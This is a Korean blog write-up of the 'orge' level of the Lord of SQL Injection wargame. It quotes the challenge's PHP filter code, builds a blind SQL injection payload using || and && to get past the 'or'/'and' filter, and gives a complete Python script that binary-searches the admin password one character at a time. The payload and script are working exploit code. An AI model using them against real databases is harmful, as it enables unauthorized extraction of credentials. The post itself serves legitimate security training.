Almon Dev

[Lord of SQL Injection] orge 풀이 본문

모의해킹/Lord of SQLi

[Lord of SQL Injection] orge 풀이

Almon 2025. 1. 6. 18:04

LOS 풀이

 

orge

 

 

풀이

1. 코드 분석

GET 메서드의 pw와 쿼리 결과의 pw가 일치하면 문제가 풀립니다.

그렇다면 admin 계정의 실제 비밀번호를 알아야 풀 수 있는것 같습니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");

 

이번에도 or 과 and를 필터링 하기 때문에 || 와 &&를 활용해야 합니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

 

이번 문제는 쿼리가 두 번인데 첫 번재 쿼리에서 결과가 있는 경우 id를 화면에 출력합니다.

참과 거짓을 이용해서 blind sql injection이 가능합니다.

$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

 

2. 쿼리 삽입

blind sql injection을 위한 기본 format을 생성합니다.

and 와 or 을 &&와 ||으로 대체한 것을 제외하고는 orc 문제와 동일합니다

' || (ascii(substring((pw), index, 1)) > ascii) && id = 'admin

 

format을 이용하는 python 코드를 만듭니다.

import requests

def sqli_request(session, url, index, ascii):
    params = {
        'pw' : f"' || (ascii(substring((pw), {index}, 1)) > {ascii}) && id = 'admin"
    }
    response = session.get(url, params=params, proxies=proxies)
    # print(params)
    # print(response.text)
    if "Hello admin" in response.text:
        return True
    else:
        return False

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
login_url = "https://los.rubiya.kr/?login"
session = requests.Session()
session_id = requests.post(login_url, {
    'id' : '아이디',
    'pw' : '비밀번호',
}, allow_redirects=False).cookies.get_dict()['PHPSESSID']
# print(session_id)
session.cookies.set('PHPSESSID', session_id)
sql_result = ""

proxies = {
    "http": "http://localhost:8080"
}

index = 1
while True:
    left = 0
    right = 127
    if not sqli_request(session, url,  index, 0):
        sql_result = ""
        print("\n")
        break
    while True:
        mid = (left + right) // 2
        if sqli_request(session, url,  index, mid):
            left = mid + 1
        else:
            right = mid
        
        if left == right:
            index += 1
            sql_result += chr(left)
            print(f"\rData : {sql_result}", end="")
            break